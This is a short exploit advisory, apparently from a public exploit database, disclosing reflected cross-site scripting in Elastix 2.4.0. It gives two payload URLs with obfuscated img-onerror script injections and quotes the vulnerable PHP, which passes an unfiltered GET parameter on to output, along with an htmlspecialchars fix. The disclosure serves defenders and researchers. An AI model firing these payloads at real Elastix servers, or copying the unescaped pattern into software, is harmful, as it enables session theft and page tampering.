# Exploit Title: elastix 2.4.0 XSS Vulnerability
# Date: 28/05/2013
# Exploit Author: cheki
# Vendor Homepage: elastix.org
# Software Link: http://www.elastix.org/index.php/en/downloads/main-distro.html
# Version: Elastix 2.4.0 Stable
# CVE : [not yet]
-------------------------------------------------------------------------------------
exploit: https://10.10.10.78/libs/jpgraph/Examples/bar_csimex3.php/"><IMg srC= x OnerRoR = alert(1337)>
exploit2: https://10.10.10.78/libs/magpierss/scripts/magpie_simple.php?url="><IMg+srC%3D+x+OnerRoR+%3D+alert(1337)>  
--------------------------------------------------------------------------------------
Vul Code:
-----------------------------------------------
<?php

define('MAGPIE_DIR', '../');
require_once(MAGPIE_DIR.'rss_fetch.inc');

$url = $_GET['url'];   //GET Parameter Without filter

if ( $url ) {
        $rss = fetch_rss( $url );
        echo "Channel: " . $rss->channel['title'] . "<p>";
        echo "<ul>";
        foreach ($rss->items as $item) {
                $href = $item['link'];
                $title = $item['title'];
                echo "<li><a href=$href>$title</a></li>";
        }
        echo "</ul>";
}
?>
--------------------------------------------------
FOR ELASTIX development team

$url = $_GET['url']; // LOL
$url = htmlspecialchars($_GET['url']);

-------------------------------------------------